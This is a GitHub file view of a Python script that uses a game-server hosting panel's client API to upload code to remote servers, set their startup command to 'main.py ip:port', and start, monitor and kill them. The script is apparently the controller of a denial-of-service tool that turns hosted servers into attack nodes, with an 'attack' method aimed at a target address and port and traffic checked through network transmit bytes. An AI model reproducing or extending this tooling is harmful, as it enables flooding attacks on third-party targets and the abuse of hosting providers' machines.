-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmain.py
executable file
·128 lines (116 loc) · 4.18 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
import httpx
class Server:
def __init__(self, **kwargs):
self.name = kwargs.get("name")
self.api_key = kwargs.get("token")
self.api_url = kwargs.get("api")
self.session = httpx.Client()
auth = {"Authorization": f"Bearer {self.api_key}"}
self.session.headers.update(auth)
self.session.timeout = 3
try:
r = httpx.get(f"{self.api_url}/api/client", headers=auth, timeout=3)
for server in r.json()["data"]:
self.identifier = server["attributes"]["identifier"]
except:
self.identifier = False
self.var = kwargs.get("var")
def attack(self, ip, port):
"""
Starts the attack
The variable name is stored in self.var,
and will be updated before the attack starts.
The attack will be started after the variable is updated.
"""
try:
payload = {
"key": self.var,
"value": f"main.py {ip}:{port}"
}
r = self.session.put(f"{self.api_url}/api/client/servers/{self.identifier}/startup/variable", json=payload)
if r.status_code == 200:
r = self.session.post(f"{self.api_url}/api/client/servers/{self.identifier}/power", json={"signal": "start"})
if r.status_code == 204:
return True
else:
return False
else:
return False
except Exception as e:
print(e)
return False
def is_running(self):
"""
Checks if the server is running
Returns True if it is running, False if it is not
"""
try:
r = self.session.get(f"{self.api_url}/api/client/servers/{self.identifier}/resources")
if r.status_code == 200:
state = r.json()["attributes"]["current_state"]
return state == "running" or state == "starting"
else:
return False
except:
return False
def upload_code(self, code):
"""
Uploads the code to the server
Returns True if the code was uploaded, False if it was not
Requires the code to be a string
"""
try:
r = self.session.post(f"{self.api_url}/api/client/servers/{self.identifier}/files/write?file=%2Fmain.py", data=code)
if r.status_code == 204:
return True
else:
return False
except:
return False
def stop(self):
"""
Stops the server
Returns True if the server was stopped, False if it was not
"""
try:
r = self.session.post(f"{self.api_url}/api/client/servers/{self.identifier}/power", json={"signal": "kill"})
if r.status_code == 204:
return True
else:
return False
except:
return False
def network_io(self):
"""
Returns the network IO of the server
Returns False if it was not able to get the network IO
"""
try:
r = self.session.get(f"{self.api_url}/api/client/servers/{self.identifier}/resources")
if r.status_code == 200:
return r.json()["attributes"]["resources"]["network_tx_bytes"]
else:
return False
except:
return False
def is_online(self):
"""
Checks if the server is online
Returns True if it is online, False if it is not
"""
return self.identifier != False
def get_files(self):
"""
Gets the files in the server
Returns the files in the server
"""
try:
r = self.session.get(f"{self.api_url}/api/client/servers/{self.identifier}/files/list?directory=%2F")
if r.status_code == 200:
return r.json()["data"]
else:
return False
except:
return False
server = Server(name="Server Name", token="Server API Key", api="Server API URL", var="Variable Name")
server.attack("127.0.0.1", 80)